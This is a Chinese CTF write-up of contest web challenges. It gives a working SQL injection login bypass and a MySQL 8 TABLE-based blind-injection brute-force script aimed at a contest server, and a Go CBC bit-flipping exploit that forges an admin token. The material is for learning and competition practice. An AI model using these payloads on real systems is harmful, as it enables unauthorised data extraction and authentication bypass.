首页
社区
课程
招聘
西电miniL-web部分题解
2022-5-13 14:08 11545

西电miniL-web部分题解

2022-5-13 14:08
11545

前言

一个 的五一假期,总体来说这次minictf就web方向的题目我感觉还是有点难度的,考察范围很广泛,其中两道java相关的也是不知道怎么搞。不过有幸拿到了mini_sql的一血,还是很激动的。同时还扩展了一些密码学的东西,比如这个checkin。总之虽然排名并不是很靠前,但学到了很多有用的新姿势,血赚不亏。

学到的新东西

  1. MYSQL8新特性在SQL注入中的利用
  2. CBC字节反转攻击

mini_sql

题目分析

打开题目环境F12可以看到hint(当时没有看这个页面,结果为了 users 这个表名搞了很长时间,结果发现居然有hint。拿到题目一定要仔细啊,不放过任何地方)

 

 

存在SQL注入,先fuzz一下看ban掉了哪些关键字符

 

过滤了很多东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#
$
%
^
*
+
-
'
?
select
union
information
or
and
substr
char
sleep
if

可以看到select都用不了,还有注释单引号什么的,但发现 \ 并未被ban,所以根据它的sql语句可以在username处来个 \ 转义掉后面的 ' 即它后端的sql语句变成了这样

1
select * from users where username='\' and password='YOUR_INPUT';

而对于最后的这个 ',由于注释符被过滤了,所以可以使用 ;%00 来代替,截断后面的 '

 

所以后端的sql查询语句可以是

1
select * from users where username='\' and password='||1;%00'

构造payload发送,可以发现response了 success

 

 

但即便是成功登录了也没法拿到falg,测试发现其语法不出错的情况下只有 success!fail!两种返回值。

 

基本上可以确定是要盲注了

 

但问题就难在这里or、 select、 union等关键字都被ban了,很难找到突破口,但我一个习惯确帮助我解决了这道题。对于sql注入我会习惯性的去使用 database()version() 去查看它当前的数据库名和版本信息。试了下发现当前数据库名为 ctf ,但好像没啥用。但这个 version 就不一样了。

 

试了下payload

1
username=\&password=||version()=5;%00

发现竟然返回了 fail!,那就说明这是 mysql8 的版本。验证一下

 

image-20220506173726449

 

既然是 mysql8 那因该是有一些其它奇奇怪怪的注入姿势,结果果真有,比如说mysql8新增的 TABLE 关键字。

前置知识

TABLE关键字(MYSQL8)

翻阅mysql8的 官方文档 可以找到 TABLE 关键字的用法

1
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

它的作用和 SELECT * FROM table_name 的作用差不多,都是列出表的整个内容

 

(下文实例的所有users表内容均相同)

1
2
3
4
5
6
7
8
9
mysql> TABLE users;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    1 | admin     | qwe123   |
|    2 | guest     | asd321   |
|    3 | adds3awed | 12@qd24  |
+------+-----------+----------+
3 rows in set (0.00 sec)

配合 LIMIT 关键字可以精确到某一行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> TABLE users LIMIT 0,1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | qwe123   |
+------+----------+----------+
1 row in set (0.00 sec)
 
mysql> TABLE users LIMIT 1,1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    2 | guest    | asd321   |
+------+----------+----------+
1 row in set (0.01 sec)
 
mysql> TABLE users LIMIT 1;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | admin    | qwe123   |
+------+----------+----------+
1 row in set (0.00 sec)

还可以配合 ORDER BY 详情可以翻阅文档,这里不再赘述。

mysql的字符串比较

mysql中的字符串可以配合 () 和表的某一行进行比较,如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> SELECT (1,'admin','qwe123')=(SELECT * FROM users LIMIT 1);
+----------------------------------------------------+
| (1,'admin','qwe123')=(SELECT * FROM users LIMIT 1) |
+----------------------------------------------------+
|                                                  1 |
+----------------------------------------------------+
1 row in set (0.00 sec)
 
# MYSQL8中使用 TABLE 关键字
mysql> SELECT (1,'admin','qwe123')=(TABLE users LIMIT 1);
+--------------------------------------------+
| (1,'admin','qwe123')=(TABLE users LIMIT 1) |
+--------------------------------------------+
|                                          1 |
+--------------------------------------------+
1 row in set (0.00 sec)

对于字符串之间的大小比较其规则是这样的:

 

不区分大小写,按照0-9a-z的ascii码大小顺序进行比较,先从两个串的第一个字符进行比较ascii值,第一个字符相同的,比较第二个字符,不同则按照 > 还是 < 直接返回 1或0,如果相同再比较下一个以此类推。如果前面字符全部相同,则以长度更长的为大。如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mysql> SELECT 'a'<'C';
+---------+
| 'a'<'C' |
+---------+
|       1 |
+---------+
1 row in set (0.00 sec)
 
mysql> SELECT 'e'>'ef';
+----------+
| 'e'>'ef' |
+----------+
|        0 |
+----------+
1 row in set (0.00 sec)
 
mysql> SELECT 'adc'<'aea';
+-------------+
| 'adc'<'aea' |
+-------------+
|           1 |
+-------------+
1 row in set (0.00 sec)
 
mysql> SELECT 'qwe'>'qwf';
+-------------+
| 'qwe'>'qwf' |
+-------------+
|           0 |
+-------------+
1 row in set (0.00 sec)

利用括号内多个数据与表查询结果比较时,其规则是从括号内第一个参数与表的第一列数据进行比较,如果为 1 则继续比较第二个,如果为 0 则不比较后面的直接返回 0 。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mysql> SELECT ('a','b','cd')<('a','b','ce');
+-------------------------------+
| ('a','b','cd')<('a','b','ce') |
+-------------------------------+
|                             1 |
+-------------------------------+
1 row in set (0.01 sec)
 
mysql> SELECT ('a','b','cd')<('a','b','cd');
+-------------------------------+
| ('a','b','cd')<('a','b','cd') |
+-------------------------------+
|                             0 |
+-------------------------------+
1 row in set (0.00 sec)
 
 
mysql> SELECT ('a','b','cd')<('a','c','ab');
+-------------------------------+
| ('a','b','cd')<('a','c','ab') |
+-------------------------------+
|                             1 |
+-------------------------------+
1 row in set (0.00 sec)

和表查询结果比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
mysql> TABLE users;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    1 | admin     | qwe123   |
|    2 | guest     | asd321   |
|    3 | adds3awed | 12@qd24  |
+------+-----------+----------+
3 rows in set (0.00 sec)
 
mysql> SELECT (1,'admin','')<(TABLE users LIMIT 1);
+--------------------------------------+
| (1,'admin','')<(TABLE users LIMIT 1) |
+--------------------------------------+
|                                    1 |
+--------------------------------------+
1 row in set (0.00 sec)
 
mysql> SELECT (1,'admin','qw')<(TABLE users LIMIT 1);
+----------------------------------------+
| (1,'admin','qw')<(TABLE users LIMIT 1) |
+----------------------------------------+
|                                      1 |
+----------------------------------------+
1 row in set (0.00 sec)
 
mysql> SELECT (1,'admin','qx')<(TABLE users LIMIT 1);
+----------------------------------------+
| (1,'admin','qx')<(TABLE users LIMIT 1) |
+----------------------------------------+
|                                      0 |
+----------------------------------------+
1 row in set (0.00 sec)

所以可以利用这些来盲注爆破

题解

了解了上文的相关信息后这题就好解了,既然是 users 表,那一般是三个字段 id, username, password。id 第一个应该是 1 (不放心可以验证一下),后面的 username 和 password 写脚本爆破一下就好了。

 

可以构造 payload :

1
username=1\&password=||(1,0x21,0x21)<(table users limit 1);%00

爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
 
dic = '_0123456789abcdefghijklmnopqrstuvwxyz'  # 字典
url = "http://47.93.215.154:10000/login.php"
 
def str2hex(str):
    result = '0x'
    for i in str:
        result += hex(ord(i))[2:]
    return result
 
def boomSql():
    result = ''
    for i in range(1, 40):
        for j in range(len(dic)):
            #print(dic[j])
 
            # 手动测试第一个字段 id
            # 结果:1
 
            # 爆第二个字段 username
            # 结果: w3lc0me_t0_m1n1lct5
            # 16进制为 0x77336c63306d655f74305f6d316e316c637435
            payload1 = {"username": "1\\",
                        "password": f"||(1,{str2hex(result+dic[j])},0x21)<(table users limit 1);\x00"
                        }
 
            # 爆第三个字段 password
            # 结果:cd51c1005cab68be2f7e6112a4de3e88
            # 因为最后一个字符完成后长度相等又判断为假 所以最后一个字符应为其下一个字母
            # 但是这仅限最后一个字段
            # 所以正确结果是cd51c1005cab68be2f7e6112a4de3e89
            payload2 = {"username": "1\\",
                        "password": f"||(1,0x77336c63306d655f74305f6d316e316c637435,{str2hex(result+dic[j])})<(table users limit 1);\x00"
                        }
 
            res = requests.post(url=url, data=payload1)
            # print(res.text)
            if "success" in res.text:
                continue
            elif "fail" in res.text:
                # 返回假时表示上一个字母即为正确结果
                result += dic[j - 1]
                break
        print(result)
if __name__ == '__main__':
    boomSql()

运行得到 username 和 password

 

登录拿到flag

checkin

题目分析

打开题目告诉

1
Only admin can get the secret!

然后仔细研究了一下这个token,发现最前面固定为 0001145141919810 ,然后..............不会了

 

后来给了源码,用go语言写的。当时go也没学过,简单学了一下,了解了下关键函数的作用。

 

关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//User的结构
type User struct {
    Name     string
    CreateAt int64
    IP       string
}
 
//初始化一个token
func IndexController(c *gin.Context) {
    _, err := c.Cookie("token")
    if err == nil {
        c.Redirect(http.StatusFound, "/home")
    }
    //token的结构,后面TokenDecrypt后的结构也是如此
    user := models.User{Name: "guest", CreateAt: time.Now().Unix(), IP: c.ClientIP()}
    jsonUser, _ := json.Marshal(user)
    token, _ := utils.TokenEncrypt(jsonUser)
    c.SetCookie("token", token, 3600, "/", "", false, true)
    c.Redirect(http.StatusFound, "/home")
}

flagController.go文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func HomeController(c *gin.Context) {
    token, err := c.Cookie("token")
    if err != nil {
        c.Redirect(http.StatusFound, "/")
    }
    jsonUser, _ := utils.TokenDecrypt(token)
    user := models.User{}
    _ = json.Unmarshal([]byte(jsonUser), &user)
    //只要TokenDecrypt后的结构中的Name为admin就可拿到flag
    if user.Name == "admin" {
        file, _ := os.Open("/flag")
        defer file.Close()
        content, _ := ioutil.ReadAll(file)
        _, _ = c.Writer.WriteString(string(content))
    } else {
        _, _ = c.Writer.WriteString("Only admin can get the secret!")
    }
}

token.go文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
var key = []byte(config.KEY)    //配置文件中的密钥(未知)但大小为16字节
var iv = []byte(config.IV)        //CBC加密的初始向量 0001145141919810 16字节)
 
type tokenError struct {
    error string
}
 
func (e *tokenError) Error() string {
    return e.error
}
 
//对User进行CBC分组加密的函数
func TokenEncrypt(user []byte) (string, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return "", err
    }
    blockSize := block.BlockSize()        //密钥大小
    originData := pad(user, blockSize)    //根据密钥大小分组
    blockMode := cipher.NewCBCEncrypter(block, iv)    //创建加密对象,包含密钥key和初始向量IV
    encrypted := make([]byte, len(originData))       
    blockMode.CryptBlocks(encrypted, originData)    //CBC算法,详情见后文
    return base64.StdEncoding.EncodeToString(append([]byte(config.IV), encrypted...)), nil                                //base64编码
}
//16字节一组进行分组
func pad(ciphertext []byte, blockSize int) []byte {
    padding := blockSize - len(ciphertext)%blockSize
    padText := bytes.Repeat([]byte{byte(padding)}, padding)
    return append(ciphertext, padText...)
}
 
//CBC解密
func TokenDecrypt(user string) (string, error) {
    decodeData, err := base64.StdEncoding.DecodeString(user)
    iv = decodeData[:16]        //16个字节为初始向量iv
    decodeData = decodeData[16:]    //后面为密文
    if err != nil {
        return "", &tokenError{"Invalid token"}
    }
    block, _ := aes.NewCipher(key)
    blockMode := cipher.NewCBCDecrypter(block, iv)
    originData := make([]byte, len(decodeData))
    blockMode.CryptBlocks(originData, decodeData)
    decrypted, err := unPad(originData)        //整合
    if err != nil {
        return "", &tokenError{"padding error"}
    }
    return string(decrypted), nil
}
//将多个原文组整合到一起
func unPad(ciphertext []byte) ([]byte, error) {
    length := len(ciphertext)
    unPadding := int(ciphertext[length-1])
    if unPadding < 1 || unPadding > 16 {
        return []byte(""), &tokenError{"padding error"}
    }
    for i := 0; i < unPadding; i++ {
        if int(ciphertext[length-i-1]) != unPadding {
            return []byte(""), &tokenError{"padding error"}
        }
    }
    return ciphertext[:(length - unPadding)], nil
}

然后.....又不知道怎么办了,感觉是密码学的问题。后来问了问 Carrot2 学长,提示了下是 CBC字节反转攻击 后面网上学习了一下,总算是解决了。

前置知识

CBC全称Cipher Block Chaining,密码分组链接模式

 

大致的过程是:

  1. 将原文分为若干组,每组的大小一般为初始向量IV的大小,后面不足则填充到相应的大小
  2. 先将第一组与初始向量IV异或得到中间值,之后再用加密算法对中间值进行加密得到第一块Ciphertext,然后再用这块Ciphertext和第二块原文异或得到中间值,再对这个中间值加密得到第二块Ciphertext,后续操作亦是如此。
  3. 将每一块Ciphertext整合得到最终密文(一般还可以在最终的密文前带上初始向量IV,checkin这题就是这样)

解密反过来操作就行了,这里不再赘述

 

详情请见 https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation

 

加密过程

 

automne

 

解密过程

 

automne

 

从加密过程中可以看到,每个密文块都依赖于它前面所有的明文块,所以某一个密文块的变化会影响后一个区块解密后的原文

 

CBC Bit-Flipping Attack在国内又被称为CBC字节翻转攻击,无论是翻转bit还是byte,本质上还是一致的,所以不必纠结中英文的不同。首先要知道该攻击发生在CBC的解密环节上。

 

automne

 

上图可以直观地看到,在解密过程里,通过翻转前一组密文里特定位置的bit,从而达到了翻转下一组明文里特定位置bit的效果。同样的,如果可以修改iv,那么也可以修改第一组解密出的明文内容(checkin这道题的解法就是这样)。

 

进一步分析其原理 (参考 https://masterpessimistaa.wordpress.com/2017/05/03/cbc-bit-flipping-attack/ ):

 

automne

 

从上图可以清楚得到:

1
A = P ^ BlockCipherDecryption(B)

需要注意的是 BlockCipherDecryption(B)是一个常量,因为这里没有修改B

 

对于分组的第n字节,相应地有:

1
A[n] = P[n] ^ BlockCipherDecryption(B[n])                     //式(1

变形得到:

1
BlockCipherDecryption(B[n]) = A[n] ^ P[n]                    //式(2

在式(1)里,假定我们想要输出的明文P[n]为我们想要的明文,设为P1

 

在式(2)里,假定输出的明文P[n]是密文未经过修改得到的真实明文,设为P2

 

于是由式(1)式(2)得:

1
A[n] = P1 ^ A[n] ^ P2

调整顺序:

1
A[n] = A[n] ^ P1 ^ P2

可见,通过这种方式就可以修改密文达到翻转解密出的明文字节的效果。

题解

由题目源码可知是16个字节为一组,需要修改的 Name 正好在第一组,所以只需要修改初始向量 iv 使得 guest 变为 admin 即可

 

由上文分析不难推出最终计算所需 iv 的公式为

1
IV = IV ^ admin ^ guest            //这里计算的是对应的一个字节

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package main
 
import (
    "encoding/json"
    "fmt"
    "time"
)
 
var iv = []byte("0001145141919810")
 
type User struct {
    Name     string
    CreateAt int64
    IP       string
}
 
func main() {
 
    var iv = []byte("0001145141919810")
    user := User{Name: "guest", CreateAt: time.Now().Unix(), IP: "127.0.0.1"}
    jsonUser, _ := json.Marshal(user)
    admin := User{Name: "admin", CreateAt: time.Now().Unix(), IP: "127.0.0.1"}
    jsonAdmin, _ := json.Marshal(admin)
    //每一组为16个字节,修改第一组即可
    for i := 0; i < 16; i++ {
        fmt.Print(string(iv[i] ^ jsonAdmin[i] ^ jsonUser[i]))
    }
}

运行得到所需iv为

1
0001145147(9#"10

将原来token前面的iv( 0001145141919810 )替换为 0001145147(9#"10 ,编码后发送,认证成功,拿到flag

include

很简单的签到题,这里不再赘述。

参考链接

https://www.codetd.com/article/13126014

 

https://www.jianshu.com/p/f4684322e851

 

https://dev.mysql.com/doc/refman/8.0/en/table.html

 

https://ce-automne.github.io/2019/05/23/CBC-Bit-Flipping-Attack-Conclusion/

 

https://resources.infosecinstitute.com/topic/cbc-byte-flipping-attack-101-approach/


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2022-5-13 14:23 被pank1s编辑 ,原因: 部分图片未加载
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回